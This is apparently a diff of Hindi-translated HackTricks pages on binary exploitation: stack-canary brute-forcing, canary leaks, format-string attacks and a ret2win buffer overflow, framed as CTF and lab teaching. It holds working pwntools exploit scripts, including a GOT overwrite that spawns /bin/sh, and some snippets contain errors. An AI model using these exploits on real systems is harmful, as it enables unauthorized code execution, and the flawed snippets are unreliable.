* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** (https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos पर PRs सबमिट करके।
</details>

View file

@ -0,0 +1,117 @@
# बीएफ फॉर्क्ड स्टैक कैनरीज़
<details>
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) का खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
</details>
**अगर आपके सामने एक कैनरी द्वारा संरक्षित बाइनरी है और PIE (पोजीशन इंडिपेंडेंट एक्जीक्यूटेबल) तो आपको संभावित रूप से उन्हें उमकारने का एक तरीका ढूंढने की आवश्यकता होगी।**
![](<../../../../.gitbook/assets/image (144).png>)
{% hint style="info" %}
ध्यान दें कि **`checksec`** यह नहीं पता लगा सकता कि एक बाइनरी को कैनरी द्वारा संरक्षित किया गया है अगर यह स्थैतिक रूप से कंपाइल किया गया था और यह फ़ंक्शन को पहचानने की क्षमता नहीं है।\
हालांकि, आप इसे मैन्युअल रूप से नोट कर सकते हैं अगर आपको यह पता चलता है कि किसी मान को फ़ंक्शन कॉल की शुरुआत में स्टैक में सहेजा गया है और इस मान की जांच की जाती है पहले बाहर निकलने से पहले।
{% endhint %}
## ब्रूट फ़ोर्स कैनरी
एक साधारण कैनरी को उमकरने का सबसे अच्छा तरीका यह है कि यदि बाइनरी एक कार्यक्रम है **हर बार जब आप इसके साथ एक नया कनेक्शन स्थापित करते हैं तो चाइल्ड प्रक्रियाएँ फॉर्क करती हैं** (नेटवर्क सेवा), क्योंकि हर बार जब आप इससे कनेक्ट करते हैं **वही कैनरी उपयोग की जाएगी**
इसलिए, कैनरी को उमकरने का सबसे अच्छा तरीका यह है कि आप बस **चार से चार चरित्र को ब्रूट-फ़ोर्स करें**, और आप यह जान सकते हैं कि क्या अनुमानित कैनरी बाइट सही था या गलत बाइट केवल **जांच करके** कि क्या **सर्वर द्वारा एक प्रतिक्रिया** भेजी गई है (दूसरे स्थिति में एक **try/except** का उपयोग किया जा सकता है):
### उदाहरण 1
यह उदाहरण 64 बिट के लिए लागू किया गया है लेकिन आसानी से 32 बिट के लिए लागू किया जा सकता है।
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
### उदाहरण 2
यह 32 बिट के लिए लागू किया गया है, लेकिन इसे आसानी से 64 बिट के लिए बदला जा सकता है।\
इसके अलावा ध्यान दें कि इस उदाहरण के लिए **प्रोग्राम पहले एक बाइट की गुणवत्ता दर्शाने की उम्मीद करता है** और पेलोड।
```python
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
```

View file

@ -0,0 +1,49 @@
# प्रिंट स्टैक कैनरी
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी कंपनी का विज्ञापन **HackTricks** में देखना चाहते हैं या **PDF में HackTricks डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>
## मुद्रित स्टैक को बढ़ाएं
एक **प्रोग्राम** की स्थिति की कल्पना करें जो **स्टैक ओवरफ्लो** के लिए **विकल्प** है जो **स्टैक ओवरफ्लो** के **हिस्से को दिखाने के लिए puts** फ़ंक्शन **को क्रियान्वित** कर सकता है। हमलावर जानता है कि **कैनरी का पहला बाइट एक शून्य बाइट है** (`\x00`) और कैनरी के बाकी भाग **रैंडम** बाइट्स हैं। फिर, हमलावर एक ओवरफ्लो बना सकता है जो **केवल कैनरी के पहले बाइट तक स्टैक को ओवरराइट** करता है।
फिर, हमलावर **पेलोड के बीच में puts फ़ंक्शन** को **कॉल करता है** जो **कैनरी को सभी प्रिंट** करेगा (शून्य बाइट को छोड़कर)।
इस जानकारी के साथ हमलावर नए हमले को **बनाने और भेजने के लिए एक नया हमला** भेज सकता है (उसी **प्रोग्राम सत्र** में कैनरी को जानते हुए)।
स्पष्ट है कि यह तकनीक बहुत **प्रतिबंधित** है क्योंकि हमलावर को अपने **पेलोड** की **सामग्री** को **प्रिंट** करने की आवश्यकता है ताकि **कैनरी को बाहर निकाल** सके और फिर एक नया पेलोड (उसी **प्रोग्राम सत्र** में) बना सके और **वास्तविक बफर ओवरफ्लो** को **भेज** सके।
**CTF उदाहरण:** [**https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html**](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
## अर्बिट्रेरी रीड
एक ऐसे अर्बिट्रेरी रीड के साथ जैसे कि फॉर्मेट **स्ट्रिंग्स** द्वारा प्रदान किया गया हो, कैनरी लीक करना संभव हो सकता है। इस उदाहरण की जांच करें: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) और आप यहां पढ़ सकते हैं कि कैसे फॉर्मेट स्ट्रिंग्स का दुरुपयोग करके अर्बिट्रेरी मेमोरी पतों को पढ़ने के बारे में:
{% content-ref url="../../format-strings/" %}
[format-strings](../../format-strings/)
{% endcontent-ref %}
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी कंपनी का विज्ञापन **HackTricks** में देखना चाहते हैं या **PDF में HackTricks डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>

View file

@ -0,0 +1,170 @@
# फॉर्मेट स्ट्रिंग्स
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करना चाहते हैं? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मेरा** ट्विटर 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का पालन करें**.
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **को**.
</details>
## मूल जानकारी
C में **`printf`** एक फ़ंक्शन है जिसका उपयोग **कुछ स्ट्रिंग प्रिंट** करने के लिए किया जा सकता है। इस फ़ंक्शन की **पहली पैरामीटर** जिसकी उम्मीद है, वह **फॉर्मेटर्स के साथ कच्चा टेक्स्ट** है। उम्मीद की जाने वाली **अगली पैरामीटर** हैं **मान** जो कि कच्चे टेक्स्ट से **फॉर्मेटर्स** को **बदलने** के लिए हैं।
यह सुरक्षा गड़बड़ी उस समय प्रकट होती है जब एक **हमलावर टेक्स्ट का उपयोग पहली वार्गुमेंट के रूप में** इस फ़ंक्शन के लिए किया जाता है। हमलावर को **विशेष इनपुट बनाने की क्षमता** होगी जो **printf फॉर्मेट स्ट्रिंग** की क्षमताओं का दुरुपयोग करके किसी भी डेटा को पढ़ने और **किसी भी पते में कोई भी डेटा लिखने (पढ़ने/लिखने योग्य)** के लिए सक्षम होगा। इस तरह से **विविध कोड को निष्पादित** करने की क्षमता होगी।
#### फॉर्मेटर्स:
```bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**उदाहरण:**
* भेद्य उदाहरण:
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
* सामान्य उपयोग:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
* गुम होने वाले तर्कों के साथ:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
### **पॉइंटर तक पहुंचना**
फॉर्मेट **`%<n>$x`**, जहां `n` एक संख्या है, printf को इंडिकेट करने की अनुमति देता है कि वह n पैरामीटर (स्टैक से) का चयन करे। तो अगर आप printf का उपयोग करके स्टैक से 4वें पैरामीटर को पढ़ना चाहते हैं तो आप यह कर सकते हैं:
```c
printf("%x %x %x %x")
```
और आप पहले से चौथे पैरामीटर तक पढ़ सकते हैं।
या आप यह कर सकते हैं:
```c
printf("$4%x")
```
और सीधे चौथे को पढ़ें।
ध्यान दें कि हमलावर `pr`**`intf` पैरामीटर को नियंत्रित करता है, जिसका अर्थ है कि** जब `printf` को कॉल किया जाता है, तो उसका इनपुट स्टैक में होगा, जिसका मतलब है कि वह विशिष्ट मेमोरी पते स्टैक में लिख सकता है।
{% hint style="danger" %}
इस इनपुट को नियंत्रित करने वाला हमलावर, **स्टैक में विचित्र पते जोड़ सकता है और `printf` को उन्हें एक्सेस करने की अनुमति मिलेगी**। अगले खंड में यह व्यवहार कैसे उपयोग करने के बारे में समझाया जाएगा।
{% endhint %}
## **विचित्र पठन**
यह संभव है कि हम **`$n%s`** फॉर्मेटर का उपयोग करें ताकि **`printf`** **पते** को प्राप्त कर सके जो **n स्थान** में स्थित है, उसके बाद और **उसे एक स्ट्रिंग के रूप में प्रिंट करें** (0x00 पाए जाने तक प्रिंट करें)। इसलिए यदि बाइनरी का बेस पता **`0x8048000`** है, और हमें पता है कि उपयोगकर्ता इनपुट स्टैक में 4वें स्थान से शुरू होता है, तो बाइनरी की शुरुआत प्रिंट करना संभव है:
```python
from pwn import *
p = process('./bin')
payload = b'%6$p' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
{% hint style="danger" %}
ध्यान दें कि आप 0x8048000 पते को इनपुट की शुरुआत में नहीं डाल सकते क्योंकि तार उस पते के अंत में 0x00 को जोड़ देगा।
{% endhint %}
## **अनियमित लेखन**
फॉर्मेटर **`$<num>%n`** **उस पते पर लिखता है** जिसे स्टैक में \<num> पैरामीटर में निर्दिष्ट किया गया है। यदि एक हमलावर printf के साथ जितने वर्ण लिख सकता है, तो वह **`$<num>%n`** को किसी भी पते पर किसी भी संख्या लिखने की क्षमता प्राप्त होगी।
भाग्यशाली तौर पर, संख्या 9999 लिखने के लिए, इसे करने के लिए इनपुट में 9999 "A" जोड़ने की आवश्यकता नहीं है, इसे करने के लिए फॉर्मेटर **`%.<num-write>%<num>$n`** का उपयोग करना संभव है ताकि **`<num-write>`** संख्या को **`num` स्थान द्वारा संकेतित पते** में लिखा जा सके।
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
हालांकि, ध्यान दें कि आम तौर पर पता लिखने के लिए `0x08049724` जैसे पते को लिखने के लिए (जो एक बहुत बड़ी संख्या है एक साथ लिखने के लिए), **`$n` की बजाय `$hn` का उपयोग किया जाता है**। इससे **केवल 2 बाइट लिखने** की अनुमति होती है। इसलिए यह कार्रवाई दो बार की जाती है, पहले सबसे उच्च 2B के लिए और दूसरी बार सबसे कम वाले के लिए।
इसलिए, यह सुरक्षा दोष किसी भी पते में कुछ भी लिखने की अनुमति देता है (विवेकात्मक लेखन)।
इस उदाहरण में, लक्ष्य होगा किसी बाद में कॉल किया जाने वाला एक **फ़ंक्शन** के **GOT** तालिका का **पता** लिखना। यद्यपि इससे अन्य विवेकात्मक लेखन को दुरुपयोग किया जा सकता है:
{% content-ref url="../arbitrary-write-2-exec/" %}
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
{% endcontent-ref %}
हम एक **फ़ंक्शन** को **अधिकारित** करने जा रहे हैं जो अपने **आर्ग्यूमेंट्स** को **उपयोगकर्ता** से **प्राप्त** करता है और इसे **`system`** **फ़ंक्शन** की ओर इशारा करता है।\
जैसा कि उल्लिखित है, पता लिखने के लिए आम तौर पर 2 कदम आवश्यक होते हैं: आपको **पहले 2 बाइट** पते का लिखना होता है और फिर दूसरे 2। इसे करने के लिए **`$hn`** का उपयोग किया जाता है।
* **HOB** पते के 2 उच्च बाइट को बुलाया जाता है
* **LOB** पते के 2 निचले बाइट को बुलाया जाता है
फिर, चाहे जैसे ही फॉर्मेट स्ट्रिंग काम करती है, आपको **सबसे छोटा पहले लिखना** होता है \[HOB, LOB] में और फिर दूसरा।
यदि HOB < LOB\
`[पता+2][पता]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
यदि HOB > LOB\
`[पता+2][पता]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
{% code overflow="wrap" %}
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
{% endcode %}
### Pwntools टेम्पलेट
आप इस प्रकार की सुरक्षा दोष के लिए एक उत्पीड़न तैयार करने के लिए एक टेम्पलेट पा सकते हैं:
{% content-ref url="format-strings-template.md" %}
[format-strings-template.md](format-strings-template.md)
{% endcontent-ref %}
या यह मौलिक उदाहरण [**यहाँ से**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) मिल सकता है:
```python
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
```
## अन्य उदाहरण और संदर्भ
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करने का एक्सेस** चाहिए? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**दी पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटी**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** ट्विटर पर **फॉलो** करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो** में पीआर जमा करके [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)।
</details>

File diff suppressed because one or more lines are too long

View file

@ -6,17 +6,17 @@
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर **फॉलो** करें।
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर **फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>
## मूलभूत जानकारी
**Ret2win** चैलेंज **Capture The Flag (CTF)** प्रतियोगिताओं में एक लोकप्रिय श्रेणी है, विशेष रूप से उन कार्यों में जो **बाइनरी उत्तेजन** को शामिल करते हैं। लक्ष्य एक दिए गए बाइनरी में एक संकट का शोध करना है ताकि बाइनरी के भीतर एक विशिष्ट, अबिनित कार्य को निष्पादित करें, जिसे आम तौर पर `win`, `ret2win` आदि कुछ नामिया जाता है। यह कार्य, जब निष्पादित किया जाता है, आम तौर पर एक ध्वज या सफलता संदेश प्रिंट करता है। चुनौती आम तौर पर स्टैक पर **वापसी पता** को ओवरराइट करने को शामिल करती है ताकि निर्देशित कार्य में निष्पादन धारा को भटकाया जा सके। यहां एक और विस्तृत स्पष्टीकरण उदाहरणों के साथ है:
**Ret2win** चैलेंज **Capture The Flag (CTF)** प्रतियोगिताओं में एक लोकप्रिय श्रेणी है, विशेष रूप से उन कार्यों में जो **बाइनरी उत्पीड़न** को शामिल करते हैं। लक्ष्य एक दिया गया बाइनरी में एक संकट का शोध करना है ताकि बाइनरी के भीतर एक विशिष्ट, अबिनिमंत्रित कार्य को निष्पादित करें, जिसे आम तौर पर `win`, `ret2win` आदि कुछ नामों से नामित किया जाता है। यह कार्य, जब निष्पादित किया जाता है, आम तौर पर एक ध्वज या सफलता संदेश प्रिंट करता है। चुनौती आम तौर पर स्टैक पर **वापसी पता** को ओवरराइट करके निर्देशित कार्य में निष्पादन प्रवाह को भटकाने को शामिल करती है। यहां एक और विस्तृत स्पष्टीकरण उदाहरणों के साथ है:
### C उदाहरण
@ -45,13 +45,13 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-m32`: कार्यक्रम को 32-बिट बाइनरी के रूप में कंपाइल करें (यह ऐच्छिक है लेकिन CTF चैलेंज में सामान्य है)।
* `-fno-stack-protector`: स्टैक ओवरफ्लो के खिलाफ सुरक्षा को अक्षम करें।
* `-z execstack`: स्टैक पर कोड का क्रियान्वयन करने दें।
* `-no-pie`: पोजीशन इंडिपेंडेंट एक्जीक्यूटेबल को अक्षम करें ताकि `win` फ़ंक्शन का पता बदल न जाए
* `-z execstack`: स्टैक पर कोड का क्रियान्वयन सुनिश्चित करें।
* `-no-pie`: स्थिति स्वत: साधारित कार्यकारी को अक्षम करें ताकि `win` फ़ंक्शन का पता बदले नहीं
* `-o vulnerable`: आउटपुट फ़ाइल का नाम `vulnerable` रखें।
### Pwntools का उपयोग करके Python अभियांत्रिकी
उत्पीड़न के लिए, हम **pwntools** का उपयोग करेंगे, जो एक शक्तिशाली CTF फ़्रेमवर्क है जो उत्पीड़न लिखने के लिए है। उत्पीड़न स्क्रिप्ट एक पेलोड बनाएगा ताकि बफ़र को ओवरफ़्लो करें और वापसी पता को `win` फ़ंक्शन के पते से अधिलेखित करें
उत्पीड़न के लिए, हम **pwntools** का उपयोग करेंगे, जो एक शक्तिशाली CTF फ़्रेमवर्क है जो उत्पीड़न लिखने के लिए है। उत्पीड़न स्क्रिप्ट एक पेलोड बनाएगा ताकि बफ़र ओवरफ़्लो हो और वापसी पता `win` फ़ंक्शन के पते से ओवरराइट हो
```python
from pwn import *
@ -71,33 +71,33 @@ payload = b'A' * 68 + win_addr
p.sendline(payload)
p.interactive()
```
विजेता कार्य का पता लगाने के लिए, आप **gdb**, **objdump**, या किसी अन्य उपकरण का उपयोग कर सकते हैं जो बाइनरी फ़ाइलों की जांच करने की अनुमति देता है। उदाहरण के लिए, `objdump` के साथ, आप इस्तेमाल कर सकते हैं:
विजेता समाधान का पता लगाने के लिए, आप **gdb**, **objdump**, या किसी अन्य उपकरण का उपयोग कर सकते हैं जो बाइनरी फ़ाइलों की जांच करने की अनुमति देता है। उदाहरण के लिए, `objdump` के साथ, आप इस्तेमाल कर सकते हैं:
```sh
objdump -d vulnerable | grep win
```
यह कमांड आपको `win` फ़ंक्शन के असेंबली को दिखाएगा, इसमें इसका प्रारंभ पता शामिल है।
यह कमांड आपको `win` फ़ंक्शन के असेंबली को दिखाएगी, जिसमें इसका प्रारंभ पता शामिल है।
पायथन स्क्रिप्ट एक ध्यानपूर्वक तैयार किया गया संदेश भेजता है जो `vulnerable_function` द्वारा प्रसंस्कृत किया जाता है, बफर को ओवरफ्लो करता है और स्टैक पर वापसी पता `win` के पते के साथ ओवरराइट करता है। जब `vulnerable_function` वापस लौटता है, `main` या बाहर निकलने की बजाय, यह `win` पर जाता है, और संदेश प्रिंट होता है।
पायथन स्क्रिप्ट एक ध्यानपूर्वक तैयार किया गया संदेश भेजता है जो `vulnerable_function` द्वारा प्रसंस्कृत किया जाता है, बफर को ओवरफ्लो करता है और स्टैक पर वापसी पता `win` के पते के साथ ओवरराइट करता है। जब `vulnerable_function` वापस लौटता है, `main` या बाहर निकलने की बजाय, यह `win` पर जाता है, और संदेश प्रिंट होता है।
## सुरक्षा
* [**ASLR**](../common-binary-protections/aslr.md) **को अक्षम कर देना चाहिए** ताकि पता हमेशा से एक ही निष्पादनों के लिए स्थायी हो या फ़ंक्शन को कहां स्थानित किया जाएगा यह हमेशा समान नहीं होगा और आपको जीतने के लिए कुछ लीक की आवश्यकता होगी।
* [**स्टैक कैनेरीज़**](../common-binary-protections/stack-canaries.md) भी अक्षम होना चाहिए या संकटित EIP वापसी पता कभी भी अनुसरण नहीं किया जाएगा।
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **को अक्षम कर देना चाहिए** ताकि पता हमेशा से विश्वसनीय हो या फ़ंक्शन को कहां स्टोर किया जाएगा वह हमेशा समान नहीं रहेगा और आपको जीतने के लिए कुछ लीक की आवश्यकता होगी।
* [**स्टैक कैनेरीज**](../common-binary-protections-and-bypasses/stack-canaries/) भी अक्षम होना चाहिए या अपहरणित EIP वापसी पता कभी भी अनुसरण नहीं किया जाएगा।
## अन्य उदाहरण
## अन्य उदाहरण और संदर्भ
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
<details>
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी कंपनी का विज्ञापन **HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
